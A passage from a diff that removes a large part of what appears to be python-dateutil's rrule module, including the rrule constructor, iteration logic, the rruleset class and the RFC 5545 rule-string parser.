cache=False): - super(rrule, self).__init__(cache) - global easter - if not dtstart: - if until and until.tzinfo: - dtstart = datetime.datetime.now(tz=until.tzinfo).replace(microsecond=0) - else: - dtstart = datetime.datetime.now().replace(microsecond=0) - elif not isinstance(dtstart, datetime.datetime): - dtstart = datetime.datetime.fromordinal(dtstart.toordinal()) - else: - dtstart = dtstart.replace(microsecond=0) - self._dtstart = dtstart - self._tzinfo = dtstart.tzinfo - self._freq = freq - self._interval = interval - self._count = count - - # Cache the original byxxx rules, if they are provided, as the _byxxx - # attributes do not necessarily map to the inputs, and this can be - # a problem in generating the strings. Only store things if they've - # been supplied (the string retrieval will just use .get()) - self._original_rule = {} - - if until and not isinstance(until, datetime.datetime): - until = datetime.datetime.fromordinal(until.toordinal()) - self._until = until - - if self._dtstart and self._until: - if (self._dtstart.tzinfo is not None) != (self._until.tzinfo is not None): - # According to RFC5545 Section 3.3.10: - # https://tools.ietf.org/html/rfc5545#section-3.3.10 - # - # > If the "DTSTART" property is specified as a date with UTC - # > time or a date with local time and time zone reference, - # > then the UNTIL rule part MUST be specified as a date with - # > UTC time. - raise ValueError( - 'RRULE UNTIL values must be specified in UTC when DTSTART ' - 'is timezone-aware' - ) - - if count is not None and until: - warn("Using both 'count' and 'until' is inconsistent with RFC 5545" - " and has been deprecated in dateutil. Future versions will " - "raise an error.", DeprecationWarning) - - if wkst is None: - self._wkst = calendar.firstweekday() - elif isinstance(wkst, integer_types): - self._wkst = wkst - else: - self._wkst = wkst.weekday - - if bysetpos is None: - self._bysetpos = None - elif isinstance(bysetpos, integer_types): - if bysetpos == 0 or not (-366 <= bysetpos <= 366): - raise ValueError("bysetpos must be between 1 and 366, " - "or between -366 and -1") - self._bysetpos = (bysetpos,) - else: - self._bysetpos = tuple(bysetpos) - for pos in self._bysetpos: - if pos == 0 or not (-366 <= pos <= 366): - raise ValueError("bysetpos must be between 1 and 366, " - "or between -366 and -1") - - if self._bysetpos: - self._original_rule['bysetpos'] = self._bysetpos - - if (byweekno is None and byyearday is None and bymonthday is None and - byweekday is None and byeaster is None): - if freq == YEARLY: - if bymonth is None: - bymonth = dtstart.month - self._original_rule['bymonth'] = None - bymonthday = dtstart.day - self._original_rule['bymonthday'] = None - elif freq == MONTHLY: - bymonthday = dtstart.day - self._original_rule['bymonthday'] = None - elif freq == WEEKLY: - byweekday = dtstart.weekday() - self._original_rule['byweekday'] = None - - # bymonth - if bymonth is None: - self._bymonth = None - else: - if isinstance(bymonth, integer_types): - bymonth = (bymonth,) - - self._bymonth = tuple(sorted(set(bymonth))) - - if 'bymonth' not in self._original_rule: - self._original_rule['bymonth'] = self._bymonth - - # byyearday - if byyearday is None: - self._byyearday = None - else: - if isinstance(byyearday, integer_types): - byyearday = (byyearday,) - - self._byyearday = tuple(sorted(set(byyearday))) - self._original_rule['byyearday'] = self._byyearday - - # byeaster - if byeaster is not None: - if not easter: - from dateutil import easter - if isinstance(byeaster, integer_types): - self._byeaster = (byeaster,) - else: - self._byeaster = tuple(sorted(byeaster)) - - self._original_rule['byeaster'] = self._byeaster - else: - self._byeaster = None - - # bymonthday - if bymonthday is None: - self._bymonthday = () - self._bynmonthday = () - else: - if isinstance(bymonthday, integer_types): - bymonthday = (bymonthday,) - - bymonthday = set(bymonthday) # Ensure it's unique - - self._bymonthday = tuple(sorted(x for x in bymonthday if x > 0)) - self._bynmonthday = tuple(sorted(x for x in bymonthday if x < 0)) - - # Storing positive numbers first, then negative numbers - if 'bymonthday' not in self._original_rule: - self._original_rule['bymonthday'] = tuple( - itertools.chain(self._bymonthday, self._bynmonthday)) - - # byweekno - if byweekno is None: - self._byweekno = None - else: - if isinstance(byweekno, integer_types): - byweekno = (byweekno,) - - self._byweekno = tuple(sorted(set(byweekno))) - - self._original_rule['byweekno'] = self._byweekno - - # byweekday / bynweekday - if byweekday is None: - self._byweekday = None - self._bynweekday = None - else: - # If it's one of the valid non-sequence types, convert to a - # single-element sequence before the iterator that builds the - # byweekday set. - if isinstance(byweekday, integer_types) or hasattr(byweekday, "n"): - byweekday = (byweekday,) - - self._byweekday = set() - self._bynweekday = set() - for wday in byweekday: - if isinstance(wday, integer_types): - self._byweekday.add(wday) - elif not wday.n or freq > MONTHLY: - self._byweekday.add(wday.weekday) - else: - self._bynweekday.add((wday.weekday, wday.n)) - - if not self._byweekday: - self._byweekday = None - elif not self._bynweekday: - self._bynweekday = None - - if self._byweekday is not None: - self._byweekday = tuple(sorted(self._byweekday)) - orig_byweekday = [weekday(x) for x in self._byweekday] - else: - orig_byweekday = () - - if self._bynweekday is not None: - self._bynweekday = tuple(sorted(self._bynweekday)) - orig_bynweekday = [weekday(*x) for x in self._bynweekday] - else: - orig_bynweekday = () - - if 'byweekday' not in self._original_rule: - self._original_rule['byweekday'] = tuple(itertools.chain( - orig_byweekday, orig_bynweekday)) - - # byhour - if byhour is None: - if freq < HOURLY: - self._byhour = {dtstart.hour} - else: - self._byhour = None - else: - if isinstance(byhour, integer_types): - byhour = (byhour,) - - if freq == HOURLY: - self._byhour = self.__construct_byset(start=dtstart.hour, - byxxx=byhour, - base=24) - else: - self._byhour = set(byhour) - - self._byhour = tuple(sorted(self._byhour)) - self._original_rule['byhour'] = self._byhour - - # byminute - if byminute is None: - if freq < MINUTELY: - self._byminute = {dtstart.minute} - else: - self._byminute = None - else: - if isinstance(byminute, integer_types): - byminute = (byminute,) - - if freq == MINUTELY: - self._byminute = self.__construct_byset(start=dtstart.minute, - byxxx=byminute, - base=60) - else: - self._byminute = set(byminute) - - self._byminute = tuple(sorted(self._byminute)) - self._original_rule['byminute'] = self._byminute - - # bysecond - if bysecond is None: - if freq < SECONDLY: - self._bysecond = ((dtstart.second,)) - else: - self._bysecond = None - else: - if isinstance(bysecond, integer_types): - bysecond = (bysecond,) - - self._bysecond = set(bysecond) - - if freq == SECONDLY: - self._bysecond = self.__construct_byset(start=dtstart.second, - byxxx=bysecond, - base=60) - else: - self._bysecond = set(bysecond) - - self._bysecond = tuple(sorted(self._bysecond)) - self._original_rule['bysecond'] = self._bysecond - - if self._freq >= HOURLY: - self._timeset = None - else: - self._timeset = [] - for hour in self._byhour: - for minute in self._byminute: - for second in self._bysecond: - self._timeset.append( - datetime.time(hour, minute, second, - tzinfo=self._tzinfo)) - self._timeset.sort() - self._timeset = tuple(self._timeset) - - def __str__(self): - """ - Output a string that would generate this RRULE if passed to rrulestr. - This is mostly compatible with RFC5545, except for the - dateutil-specific extension BYEASTER. - """ - - output = [] - h, m, s = [None] * 3 - if self._dtstart: - output.append(self._dtstart.strftime('DTSTART:%Y%m%dT%H%M%S')) - h, m, s = self._dtstart.timetuple()[3:6] - - parts = ['FREQ=' + FREQNAMES[self._freq]] - if self._interval != 1: - parts.append('INTERVAL=' + str(self._interval)) - - if self._wkst: - parts.append('WKST=' + repr(weekday(self._wkst))[0:2]) - - if self._count is not None: - parts.append('COUNT=' + str(self._count)) - - if self._until: - parts.append(self._until.strftime('UNTIL=%Y%m%dT%H%M%S')) - - if self._original_rule.get('byweekday') is not None: - # The str() method on weekday objects doesn't generate - # RFC5545-compliant strings, so we should modify that. - original_rule = dict(self._original_rule) - wday_strings = [] - for wday in original_rule['byweekday']: - if wday.n: - wday_strings.append('{n:+d}{wday}'.format( - n=wday.n, - wday=repr(wday)[0:2])) - else: - wday_strings.append(repr(wday)) - - original_rule['byweekday'] = wday_strings - else: - original_rule = self._original_rule - - partfmt = '{name}={vals}' - for name, key in [('BYSETPOS', 'bysetpos'), - ('BYMONTH', 'bymonth'), - ('BYMONTHDAY', 'bymonthday'), - ('BYYEARDAY', 'byyearday'), - ('BYWEEKNO', 'byweekno'), - ('BYDAY', 'byweekday'), - ('BYHOUR', 'byhour'), - ('BYMINUTE', 'byminute'), - ('BYSECOND', 'bysecond'), - ('BYEASTER', 'byeaster')]: - value = original_rule.get(key) - if value: - parts.append(partfmt.format(name=name, vals=(','.join(str(v) - for v in value)))) - - output.append('RRULE:' + ';'.join(parts)) - return '\n'.join(output) - - def replace(self, **kwargs): - """Return new rrule with same attributes except for those attributes given new - values by whichever keyword arguments are specified.""" - new_kwargs = {"interval": self._interval, - "count": self._count, - "dtstart": self._dtstart, - "freq": self._freq, - "until": self._until, - "wkst": self._wkst, - "cache": False if self._cache is None else True } - new_kwargs.update(self._original_rule) - new_kwargs.update(kwargs) - return rrule(**new_kwargs) - - def _iter(self): - year, month, day, hour, minute, second, weekday, yearday, _ = \ - self._dtstart.timetuple() - - # Some local variables to speed things up a bit - freq = self._freq - interval = self._interval - wkst = self._wkst - until = self._until - bymonth = self._bymonth - byweekno = self._byweekno - byyearday = self._byyearday - byweekday = self._byweekday - byeaster = self._byeaster - bymonthday = self._bymonthday - bynmonthday = self._bynmonthday - bysetpos = self._bysetpos - byhour = self._byhour - byminute = self._byminute - bysecond = self._bysecond - - ii = _iterinfo(self) - ii.rebuild(year, month) - - getdayset = {YEARLY: ii.ydayset, - MONTHLY: ii.mdayset, - WEEKLY: ii.wdayset, - DAILY: ii.ddayset, - HOURLY: ii.ddayset, - MINUTELY: ii.ddayset, - SECONDLY: ii.ddayset}[freq] - - if freq < HOURLY: - timeset = self._timeset - else: - gettimeset = {HOURLY: ii.htimeset, - MINUTELY: ii.mtimeset, - SECONDLY: ii.stimeset}[freq] - if ((freq >= HOURLY and - self._byhour and hour not in self._byhour) or - (freq >= MINUTELY and - self._byminute and minute not in self._byminute) or - (freq >= SECONDLY and - self._bysecond and second not in self._bysecond)): - timeset = () - else: - timeset = gettimeset(hour, minute, second) - - total = 0 - count = self._count - while True: - # Get dayset with the right frequency - dayset, start, end = getdayset(year, month, day) - - # Do the "hard" work ;-) - filtered = False - for i in dayset[start:end]: - if ((bymonth and ii.mmask[i] not in bymonth) or - (byweekno and not ii.wnomask[i]) or - (byweekday and ii.wdaymask[i] not in byweekday) or - (ii.nwdaymask and not ii.nwdaymask[i]) or - (byeaster and not ii.eastermask[i]) or - ((bymonthday or bynmonthday) and - ii.mdaymask[i] not in bymonthday and - ii.nmdaymask[i] not in bynmonthday) or - (byyearday and - ((i < ii.yearlen and i+1 not in byyearday and - -ii.yearlen+i not in byyearday) or - (i >= ii.yearlen and i+1-ii.yearlen not in byyearday and - -ii.nextyearlen+i-ii.yearlen not in byyearday)))): - dayset[i] = None - filtered = True - - # Output results - if bysetpos and timeset: - poslist = [] - for pos in bysetpos: - if pos < 0: - daypos, timepos = divmod(pos, len(timeset)) - else: - daypos, timepos = divmod(pos-1, len(timeset)) - try: - i = [x for x in dayset[start:end] - if x is not None][daypos] - time = timeset[timepos] - except IndexError: - pass - else: - date = datetime.date.fromordinal(ii.yearordinal+i) - res = datetime.datetime.combine(date, time) - if res not in poslist: - poslist.append(res) - poslist.sort() - for res in poslist: - if until and res > until: - self._len = total - return - elif res >= self._dtstart: - if count is not None: - count -= 1 - if count < 0: - self._len = total - return - total += 1 - yield res - else: - for i in dayset[start:end]: - if i is not None: - date = datetime.date.fromordinal(ii.yearordinal + i) - for time in timeset: - res = datetime.datetime.combine(date, time) - if until and res > until: - self._len = total - return - elif res >= self._dtstart: - if count is not None: - count -= 1 - if count < 0: - self._len = total - return - - total += 1 - yield res - - # Handle frequency and interval - fixday = False - if freq == YEARLY: - year += interval - if year > datetime.MAXYEAR: - self._len = total - return - ii.rebuild(year, month) - elif freq == MONTHLY: - month += interval - if month > 12: - div, mod = divmod(month, 12) - month = mod - year += div - if month == 0: - month = 12 - year -= 1 - if year > datetime.MAXYEAR: - self._len = total - return - ii.rebuild(year, month) - elif freq == WEEKLY: - if wkst > weekday: - day += -(weekday+1+(6-wkst))+self._interval*7 - else: - day += -(weekday-wkst)+self._interval*7 - weekday = wkst - fixday = True - elif freq == DAILY: - day += interval - fixday = True - elif freq == HOURLY: - if filtered: - # Jump to one iteration before next day - hour += ((23-hour)//interval)*interval - - if byhour: - ndays, hour = self.__mod_distance(value=hour, - byxxx=self._byhour, - base=24) - else: - ndays, hour = divmod(hour+interval, 24) - - if ndays: - day += ndays - fixday = True - - timeset = gettimeset(hour, minute, second) - elif freq == MINUTELY: - if filtered: - # Jump to one iteration before next day - minute += ((1439-(hour*60+minute))//interval)*interval - - valid = False - rep_rate = (24*60) - for j in range(rep_rate // gcd(interval, rep_rate)): - if byminute: - nhours, minute = \ - self.__mod_distance(value=minute, - byxxx=self._byminute, - base=60) - else: - nhours, minute = divmod(minute+interval, 60) - - div, hour = divmod(hour+nhours, 24) - if div: - day += div - fixday = True - filtered = False - - if not byhour or hour in byhour: - valid = True - break - - if not valid: - raise ValueError('Invalid combination of interval and ' + - 'byhour resulting in empty rule.') - - timeset = gettimeset(hour, minute, second) - elif freq == SECONDLY: - if filtered: - # Jump to one iteration before next day - second += (((86399 - (hour * 3600 + minute * 60 + second)) - // interval) * interval) - - rep_rate = (24 * 3600) - valid = False - for j in range(0, rep_rate // gcd(interval, rep_rate)): - if bysecond: - nminutes, second = \ - self.__mod_distance(value=second, - byxxx=self._bysecond, - base=60) - else: - nminutes, second = divmod(second+interval, 60) - - div, minute = divmod(minute+nminutes, 60) - if div: - hour += div - div, hour = divmod(hour, 24) - if div: - day += div - fixday = True - - if ((not byhour or hour in byhour) and - (not byminute or minute in byminute) and - (not bysecond or second in bysecond)): - valid = True - break - - if not valid: - raise ValueError('Invalid combination of interval, ' + - 'byhour and byminute resulting in empty' + - ' rule.') - - timeset = gettimeset(hour, minute, second) - - if fixday and day > 28: - daysinmonth = calendar.monthrange(year, month)[1] - if day > daysinmonth: - while day > daysinmonth: - day -= daysinmonth - month += 1 - if month == 13: - month = 1 - year += 1 - if year > datetime.MAXYEAR: - self._len = total - return - daysinmonth = calendar.monthrange(year, month)[1] - ii.rebuild(year, month) - - def __construct_byset(self, start, byxxx, base): - """ - If a `BYXXX` sequence is passed to the constructor at the same level as - `FREQ` (e.g. `FREQ=HOURLY,BYHOUR={2,4,7},INTERVAL=3`), there are some - specifications which cannot be reached given some starting conditions. - - This occurs whenever the interval is not coprime with the base of a - given unit and the difference between the starting position and the - ending position is not coprime with the greatest common denominator - between the interval and the base. For example, with a FREQ of hourly - starting at 17:00 and an interval of 4, the only valid values for - BYHOUR would be {21, 1, 5, 9, 13, 17}, because 4 and 24 are not - coprime. - - :param start: - Specifies the starting position. - :param byxxx: - An iterable containing the list of allowed values. - :param base: - The largest allowable value for the specified frequency (e.g. - 24 hours, 60 minutes). - - This does not preserve the type of the iterable, returning a set, since - the values should be unique and the order is irrelevant, this will - speed up later lookups. - - In the event of an empty set, raises a :exception:`ValueError`, as this - results in an empty rrule. - """ - - cset = set() - - # Support a single byxxx value. - if isinstance(byxxx, integer_types): - byxxx = (byxxx, ) - - for num in byxxx: - i_gcd = gcd(self._interval, base) - # Use divmod rather than % because we need to wrap negative nums. - if i_gcd == 1 or divmod(num - start, i_gcd)[1] == 0: - cset.add(num) - - if len(cset) == 0: - raise ValueError("Invalid rrule byxxx generates an empty set.") - - return cset - - def __mod_distance(self, value, byxxx, base): - """ - Calculates the next value in a sequence where the `FREQ` parameter is - specified along with a `BYXXX` parameter at the same "level" - (e.g. `HOURLY` specified with `BYHOUR`). - - :param value: - The old value of the component. - :param byxxx: - The `BYXXX` set, which should have been generated by - `rrule._construct_byset`, or something else which checks that a - valid rule is present. - :param base: - The largest allowable value for the specified frequency (e.g. - 24 hours, 60 minutes). - - If a valid value is not found after `base` iterations (the maximum - number before the sequence would start to repeat), this raises a - :exception:`ValueError`, as no valid values were found. - - This returns a tuple of `divmod(n*interval, base)`, where `n` is the - smallest number of `interval` repetitions until the next specified - value in `byxxx` is found. - """ - accumulator = 0 - for ii in range(1, base + 1): - # Using divmod() over % to account for negative intervals - div, value = divmod(value + self._interval, base) - accumulator += div - if value in byxxx: - return (accumulator, value) - - -class _iterinfo(object): - __slots__ = ["rrule", "lastyear", "lastmonth", - "yearlen", "nextyearlen", "yearordinal", "yearweekday", - "mmask", "mrange", "mdaymask", "nmdaymask", - "wdaymask", "wnomask", "nwdaymask", "eastermask"] - - def __init__(self, rrule): - for attr in self.__slots__: - setattr(self, attr, None) - self.rrule = rrule - - def rebuild(self, year, month): - # Every mask is 7 days longer to handle cross-year weekly periods. - rr = self.rrule - if year != self.lastyear: - self.yearlen = 365 + calendar.isleap(year) - self.nextyearlen = 365 + calendar.isleap(year + 1) - firstyday = datetime.date(year, 1, 1) - self.yearordinal = firstyday.toordinal() - self.yearweekday = firstyday.weekday() - - wday = datetime.date(year, 1, 1).weekday() - if self.yearlen == 365: - self.mmask = M365MASK - self.mdaymask = MDAY365MASK - self.nmdaymask = NMDAY365MASK - self.wdaymask = WDAYMASK[wday:] - self.mrange = M365RANGE - else: - self.mmask = M366MASK - self.mdaymask = MDAY366MASK - self.nmdaymask = NMDAY366MASK - self.wdaymask = WDAYMASK[wday:] - self.mrange = M366RANGE - - if not rr._byweekno: - self.wnomask = None - else: - self.wnomask = [0]*(self.yearlen+7) - # no1wkst = firstwkst = self.wdaymask.index(rr._wkst) - no1wkst = firstwkst = (7-self.yearweekday+rr._wkst) % 7 - if no1wkst >= 4: - no1wkst = 0 - # Number of days in the year, plus the days we got - # from last year. - wyearlen = self.yearlen+(self.yearweekday-rr._wkst) % 7 - else: - # Number of days in the year, minus the days we - # left in last year. - wyearlen = self.yearlen-no1wkst - div, mod = divmod(wyearlen, 7) - numweeks = div+mod//4 - for n in rr._byweekno: - if n < 0: - n += numweeks+1 - if not (0 < n <= numweeks): - continue - if n > 1: - i = no1wkst+(n-1)*7 - if no1wkst != firstwkst: - i -= 7-firstwkst - else: - i = no1wkst - for j in range(7): - self.wnomask[i] = 1 - i += 1 - if self.wdaymask[i] == rr._wkst: - break - if 1 in rr._byweekno: - # Check week number 1 of next year as well - # TODO: Check -numweeks for next year. - i = no1wkst+numweeks*7 - if no1wkst != firstwkst: - i -= 7-firstwkst - if i < self.yearlen: - # If week starts in next year, we - # don't care about it. - for j in range(7): - self.wnomask[i] = 1 - i += 1 - if self.wdaymask[i] == rr._wkst: - break - if no1wkst: - # Check last week number of last year as - # well. If no1wkst is 0, either the year - # started on week start, or week number 1 - # got days from last year, so there are no - # days from last year's last week number in - # this year. - if -1 not in rr._byweekno: - lyearweekday = datetime.date(year-1, 1, 1).weekday() - lno1wkst = (7-lyearweekday+rr._wkst) % 7 - lyearlen = 365+calendar.isleap(year-1) - if lno1wkst >= 4: - lno1wkst = 0 - lnumweeks = 52+(lyearlen + - (lyearweekday-rr._wkst) % 7) % 7//4 - else: - lnumweeks = 52+(self.yearlen-no1wkst) % 7//4 - else: - lnumweeks = -1 - if lnumweeks in rr._byweekno: - for i in range(no1wkst): - self.wnomask[i] = 1 - - if (rr._bynweekday and (month != self.lastmonth or - year != self.lastyear)): - ranges = [] - if rr._freq == YEARLY: - if rr._bymonth: - for month in rr._bymonth: - ranges.append(self.mrange[month-1:month+1]) - else: - ranges = [(0, self.yearlen)] - elif rr._freq == MONTHLY: - ranges = [self.mrange[month-1:month+1]] - if ranges: - # Weekly frequency won't get here, so we may not - # care about cross-year weekly periods. - self.nwdaymask = [0]*self.yearlen - for first, last in ranges: - last -= 1 - for wday, n in rr._bynweekday: - if n < 0: - i = last+(n+1)*7 - i -= (self.wdaymask[i]-wday) % 7 - else: - i = first+(n-1)*7 - i += (7-self.wdaymask[i]+wday) % 7 - if first <= i <= last: - self.nwdaymask[i] = 1 - - if rr._byeaster: - self.eastermask = [0]*(self.yearlen+7) - eyday = easter.easter(year).toordinal()-self.yearordinal - for offset in rr._byeaster: - self.eastermask[eyday+offset] = 1 - - self.lastyear = year - self.lastmonth = month - - def ydayset(self, year, month, day): - return list(range(self.yearlen)), 0, self.yearlen - - def mdayset(self, year, month, day): - dset = [None]*self.yearlen - start, end = self.mrange[month-1:month+1] - for i in range(start, end): - dset[i] = i - return dset, start, end - - def wdayset(self, year, month, day): - # We need to handle cross-year weeks here. - dset = [None]*(self.yearlen+7) - i = datetime.date(year, month, day).toordinal()-self.yearordinal - start = i - for j in range(7): - dset[i] = i - i += 1 - # if (not (0 <= i < self.yearlen) or - # self.wdaymask[i] == self.rrule._wkst): - # This will cross the year boundary, if necessary. - if self.wdaymask[i] == self.rrule._wkst: - break - return dset, start, i - - def ddayset(self, year, month, day): - dset = [None] * self.yearlen - i = datetime.date(year, month, day).toordinal() - self.yearordinal - dset[i] = i - return dset, i, i + 1 - - def htimeset(self, hour, minute, second): - tset = [] - rr = self.rrule - for minute in rr._byminute: - for second in rr._bysecond: - tset.append(datetime.time(hour, minute, second, - tzinfo=rr._tzinfo)) - tset.sort() - return tset - - def mtimeset(self, hour, minute, second): - tset = [] - rr = self.rrule - for second in rr._bysecond: - tset.append(datetime.time(hour, minute, second, tzinfo=rr._tzinfo)) - tset.sort() - return tset - - def stimeset(self, hour, minute, second): - return (datetime.time(hour, minute, second, - tzinfo=self.rrule._tzinfo),) - - -class rruleset(rrulebase): - """ The rruleset type allows more complex recurrence setups, mixing - multiple rules, dates, exclusion rules, and exclusion dates. The type - constructor takes the following keyword arguments: - - :param cache: If True, caching of results will be enabled, improving - performance of multiple queries considerably. """ - - class _genitem(object): - def __init__(self, genlist, gen): - try: - self.dt = advance_iterator(gen) - genlist.append(self) - except StopIteration: - pass - self.genlist = genlist - self.gen = gen - - def __next__(self): - try: - self.dt = advance_iterator(self.gen) - except StopIteration: - if self.genlist[0] is self: - heapq.heappop(self.genlist) - else: - self.genlist.remove(self) - heapq.heapify(self.genlist) - - next = __next__ - - def __lt__(self, other): - return self.dt < other.dt - - def __gt__(self, other): - return self.dt > other.dt - - def __eq__(self, other): - return self.dt == other.dt - - def __ne__(self, other): - return self.dt != other.dt - - def __init__(self, cache=False): - super(rruleset, self).__init__(cache) - self._rrule = [] - self._rdate = [] - self._exrule = [] - self._exdate = [] - - @_invalidates_cache - def rrule(self, rrule): - """ Include the given :py:class:`rrule` instance in the recurrence set - generation. """ - self._rrule.append(rrule) - - @_invalidates_cache - def rdate(self, rdate): - """ Include the given :py:class:`datetime` instance in the recurrence - set generation. """ - self._rdate.append(rdate) - - @_invalidates_cache - def exrule(self, exrule): - """ Include the given rrule instance in the recurrence set exclusion - list. Dates which are part of the given recurrence rules will not - be generated, even if some inclusive rrule or rdate matches them. - """ - self._exrule.append(exrule) - - @_invalidates_cache - def exdate(self, exdate): - """ Include the given datetime instance in the recurrence set - exclusion list. Dates included that way will not be generated, - even if some inclusive rrule or rdate matches them. """ - self._exdate.append(exdate) - - def _iter(self): - rlist = [] - self._rdate.sort() - self._genitem(rlist, iter(self._rdate)) - for gen in [iter(x) for x in self._rrule]: - self._genitem(rlist, gen) - exlist = [] - self._exdate.sort() - self._genitem(exlist, iter(self._exdate)) - for gen in [iter(x) for x in self._exrule]: - self._genitem(exlist, gen) - lastdt = None - total = 0 - heapq.heapify(rlist) - heapq.heapify(exlist) - while rlist: - ritem = rlist[0] - if not lastdt or lastdt != ritem.dt: - while exlist and exlist[0] < ritem: - exitem = exlist[0] - advance_iterator(exitem) - if exlist and exlist[0] is exitem: - heapq.heapreplace(exlist, exitem) - if not exlist or ritem != exlist[0]: - total += 1 - yield ritem.dt - lastdt = ritem.dt - advance_iterator(ritem) - if rlist and rlist[0] is ritem: - heapq.heapreplace(rlist, ritem) - self._len = total - - - - -class _rrulestr(object): - """ Parses a string representation of a recurrence rule or set of - recurrence rules. - - :param s: - Required, a string defining one or more recurrence rules. - - :param dtstart: - If given, used as the default recurrence start if not specified in the - rule string. - - :param cache: - If set ``True`` caching of results will be enabled, improving - performance of multiple queries considerably. - - :param unfold: - If set ``True`` indicates that a rule string is split over more - than one line and should be joined before processing. - - :param forceset: - If set ``True`` forces a :class:`dateutil.rrule.rruleset` to - be returned. - - :param compatible: - If set ``True`` forces ``unfold`` and ``forceset`` to be ``True``. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a naive - :class:`datetime.datetime` object is returned. - - :param tzids: - If given, a callable or mapping used to retrieve a - :class:`datetime.tzinfo` from a string representation. - Defaults to :func:`dateutil.tz.gettz`. - - :param tzinfos: - Additional time zone names / aliases which may be present in a string - representation. See :func:`dateutil.parser.parse` for more - information. - - :return: - Returns a :class:`dateutil.rrule.rruleset` or - :class:`dateutil.rrule.rrule` - """ - - _freq_map = {"YEARLY": YEARLY, - "MONTHLY": MONTHLY, - "WEEKLY": WEEKLY, - "DAILY": DAILY, - "HOURLY": HOURLY, - "MINUTELY": MINUTELY, - "SECONDLY": SECONDLY} - - _weekday_map = {"MO": 0, "TU": 1, "WE": 2, "TH": 3, - "FR": 4, "SA": 5, "SU": 6} - - def _handle_int(self, rrkwargs, name, value, **kwargs): - rrkwargs[name.lower()] = int(value) - - def _handle_int_list(self, rrkwargs, name, value, **kwargs): - rrkwargs[name.lower()] = [int(x) for x in value.split(',')] - - _handle_INTERVAL = _handle_int - _handle_COUNT = _handle_int - _handle_BYSETPOS = _handle_int_list - _handle_BYMONTH = _handle_int_list - _handle_BYMONTHDAY = _handle_int_list - _handle_BYYEARDAY = _handle_int_list - _handle_BYEASTER = _handle_int_list - _handle_BYWEEKNO = _handle_int_list - _handle_BYHOUR = _handle_int_list - _handle_BYMINUTE = _handle_int_list - _handle_BYSECOND = _handle_int_list - - def _handle_FREQ(self, rrkwargs, name, value, **kwargs): - rrkwargs["freq"] = self._freq_map[value] - - def _handle_UNTIL(self, rrkwargs, name, value, **kwargs): - global parser - if not parser: - from dateutil import parser - try: - rrkwargs["until"] = parser.parse(value, - ignoretz=kwargs.get("ignoretz"), - tzinfos=kwargs.get("tzinfos")) - except ValueError: - raise ValueError("invalid until date") - - def _handle_WKST(self, rrkwargs, name, value, **kwargs): - rrkwargs["wkst"] = self._weekday_map[value] - - def _handle_BYWEEKDAY(self, rrkwargs, name, value, **kwargs): - """ - Two ways to specify this: +1MO or MO(+1) - """ - l = [] - for wday in value.split(','): - if '(' in wday: - # If it's of the form TH(+1), etc. - splt = wday.split('(') - w = splt[0] - n = int(splt[1][:-1]) - elif len(wday): - # If it's of the form +1MO - for i in range(len(wday)): - if wday[i] not in '+-0123456789': - break - n = wday[:i] or None - w = wday[i:] - if n: - n = int(n) - else: - raise ValueError("Invalid (empty) BYDAY specification.") - - l.append(weekdays[self._weekday_map[w]](n)) - rrkwargs["byweekday"] = l - - _handle_BYDAY = _handle_BYWEEKDAY - - def _parse_rfc_rrule(self, line, - dtstart=None, - cache=False, - ignoretz=False, - tzinfos=None): - if line.find(':') != -1: - name, value = line.split(':') - if name != "RRULE": - raise ValueError("unknown parameter name") - else: - value = line - rrkwargs = {} - for pair in value.split(';'): - name, value = pair.split('=') - name = name.upper() - value = value.upper() - try: - getattr(self, "_handle_"+name)(rrkwargs, name, value, - ignoretz=ignoretz, - tzinfos=tzinfos) - except AttributeError: - raise ValueError("unknown parameter '%s'" % name) - except (KeyError, ValueError): - raise ValueError("invalid '%s': %s" % (name, value)) - return rrule(dtstart=dtstart, cache=cache, **rrkwargs) - - def _parse_date_value(self, date_value, parms, rule_tzids, - ignoretz, tzids, tzinfos): - global parser - if not parser: - from dateutil import parser - - datevals = [] - value_found = False - TZID = None - - for parm in parms: - if parm.startswith("TZID="): - try: - tzkey = rule_tzids[parm.split('TZID=')[-1]] - except KeyError: - continue - if tzids is None: - from . import tz - tzlookup = tz.gettz - elif callable(tzids): - tzlookup = tzids - else: - tzlookup = getattr(tzids, 'get', None) - if tzlookup is None: - msg = ('tzids must be a callable, mapping, or None, ' - 'not %s' % tzids) - raise ValueError(msg) - - TZID = tzlookup(tzkey) - continue - - # RFC 5445 3.8.2.4: The VALUE parameter is optional, but may be found - # only once. - if parm not in {"VALUE=DATE-TIME", "VALUE=DATE"}: - raise ValueError("unsupported parm: " + parm) - else: - if value_found: - msg = ("Duplicate value parameter found in: " + parm) - raise ValueError(msg) - value_found = True - - for datestr in date_value.split(','): - date = parser.parse(datestr, ignoretz=ignoretz, tzinfos=tzinfos) - if TZID is not None: - if date.tzinfo is None: - date = date.replace(tzinfo=TZID) - else: - raise ValueError('DTSTART/EXDATE specifies multiple timezone') - datevals.append(date) - - return datevals - - def _parse_rfc(self, s, - dtstart=None, - cache=False, - unfold=False, - forceset=False, - compatible=False, - ignoretz=False, - tzids=None, - tzinfos=None): - global parser - if compatible: - forceset = True - unfold = True - - TZID_NAMES = dict(map( - lambda x: (x.upper(), x), - re.findall('TZID=(?P[^:]+):', s) - )) - s = s.upper() - if not s.strip(): - raise ValueError("empty string") - if unfold: - lines = s.splitlines() - i = 0 - while i < len(lines): - line = lines[i].rstrip() - if not line: - del lines[i] - elif i > 0 and line[0] == " ": - lines[i-1] += line[1:] - del lines[i] - else: - i += 1 - else: - lines = s.split() - if (not forceset and len(lines) == 1 and (s.find(':') == -1 or - s.startswith('RRULE:'))): - return self._parse_rfc_rrule(lines[0], cache=cache, - dtstart=dtstart, ignoretz=ignoretz, - tzinfos=tzinfos) - else: - rrulevals = [] - rdatevals = [] - exrulevals = [] - exdatevals = [] - for line in lines: - if not line: - continue - if line.find(':') == -1: - name = "RRULE" - value = line - else: - name, value = line.split(':', 1) - parms = name.split(';') - if not parms: - raise ValueError("empty property name") - name = parms[0] - parms = parms[1:] - if name == "RRULE": - for parm in parms: - raise ValueError("unsupported RRULE parm: "+parm) - rrulevals.append(value) - elif name == "RDATE": - for parm in parms: - if parm != "VALUE=DATE-TIME": - raise ValueError("unsupported RDATE parm: "+parm) - rdatevals.append(value) - elif name == "EXRULE": - for parm in parms: - raise ValueError("unsupported EXRULE parm: "+parm) - exrulevals.append(value) - elif name == "EXDATE": - exdatevals.extend( - self._parse_date_value(value, parms, - TZID_NAMES, ignoretz, - tzids, tzinfos) - ) - elif name == "DTSTART": - dtvals = self._parse_date_value(value, parms, TZID_NAMES, - ignoretz, tzids, 